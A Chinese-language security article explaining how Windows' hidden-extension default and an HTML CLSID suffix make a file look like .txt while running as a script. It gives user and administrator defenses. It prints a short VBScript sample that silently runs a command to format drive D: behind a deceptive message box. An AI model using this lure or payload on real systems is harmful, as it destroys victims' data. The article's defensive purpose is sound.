萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

識破 .txt 偽裝惡意檔案:Windows 隱藏副檔名攻擊原理與防禦

攻擊情境

收到郵件附件 QQ靚號放送.txt,直覺以為是純文字檔,雙擊開啟後卻觸發惡意程式碼,導致硬碟被格式化、植入後門或竊取資料。這類攻擊利用 Windows 預設「隱藏已知副檔名」特性,配合特殊 CLSID 副檔名偽裝,使惡意檔案外觀上顯示為 .txt,實際執行時卻以 HTML/Script 方式運行。

技術原理深度解析

1. CLSID 偽裝機制

真實檔名:QQ靚號放送.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}

  • {3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} 是註冊表中 HTML 檔案關聯的 CLSID(Class Identifier)。
  • Windows 檔案總管依據此 CLSID 判斷檔案類型為 HTML Document,雙擊時會交給 mshtml.dll(Internet Explorer 渲染引擎)或預設瀏覽器解析執行。
  • 因預設隱藏已知副檔名,使用者僅看到 QQ靚號放送.txt。

2. 惡意 HTML 內容範例

<script language="VBScript">
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
ws.Run "cmd /c format d: /q /x", 0, True
MsgBox "Windows is configuring the system. Please do not interrupt this process."
</script>

關鍵點:

  • WScript.Shell(WSH)提供系統級命令執行能力(執行 cmd.exe、讀寫註冊表、建立捷徑、存取環境變數等)。
  • FileSystemObject 可操作檔案系統(刪除、複製、格式化)。
  • 惡意碼藏在 HTML <script> 標籤中,瀏覽器渲染時自動執行。

3. 為何 .txt 會以 HTML 執行?

Windows 依副檔名(含 CLSID 部分)決定關聯程式。因真實副檔名為 CLSID,系統視為 HTML 檔,呼叫 HTML 渲染引擎,進而執行腳本。記事本 不會 被呼叫。

防禦與緩解措施

使用者層面

  1. 顯示副檔名: 檔案總管 → 檢視 → 取消勾選「隱藏受保護的作業系統檔案」與「隱藏已知檔案類型的副檔名」。
  2. 不直接雙擊附件: 先另存新檔,以記事本開啟檢視內容,確認無腳本碼再決定處理。
  3. 關閉 Windows Script Host(非必要): 註冊表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled = 0(可能影響合法腳本)。
  4. 使用反惡意軟體即時掃描: 郵件用戶端/瀏覽器下載時自動掃描。

系統管理員層面

  • 透過群組原則強制顯示副檔名(User Configuration → Administrative Templates → Windows Components → File Explorer → "Hide extensions for known file types" = Disabled)。
  • 封鎖高風險副檔名(.hta、.html、.htm、.vbs、.js、.wsf、.jse、.vbe)作為郵件附件接收。
  • 啟用「受保護檢視」(Office)與「標記來源區域」(Zone Identifier),強制下載檔案在沙箱中開啟。
  • 部署應用程式白名單(AppLocker/WDAC),限制 wscript.exe、cscript.exe、mshta.exe 僅允許簽名腳本執行。

相關變體與延伸攻擊

  • .lnk 偽裝: 快捷方式圖示偽裝成資料夾/文件,目標指向惡意命令。
  • .rtf/.doc 嵌入 OLE 物件: 利用 Equation Editor 漏洞(CVE-2017-11882)等執行程式碼。
  • ISO/IMG 掛載: 附件為磁碟映像,掛載後包含 .lnk 或 .exe,繞過 Mark-of-the-Web。

結語

「看到 .txt 就安全」是危險迷思。攻擊者善用作業系統特性與使用者習慣差距發動攻擊。顯示副檔名、拒絕直接執行附件、部署多層防禦,才能有效化解此類偽裝威脅。

copyright © 萬盛學電腦網 all rights reserved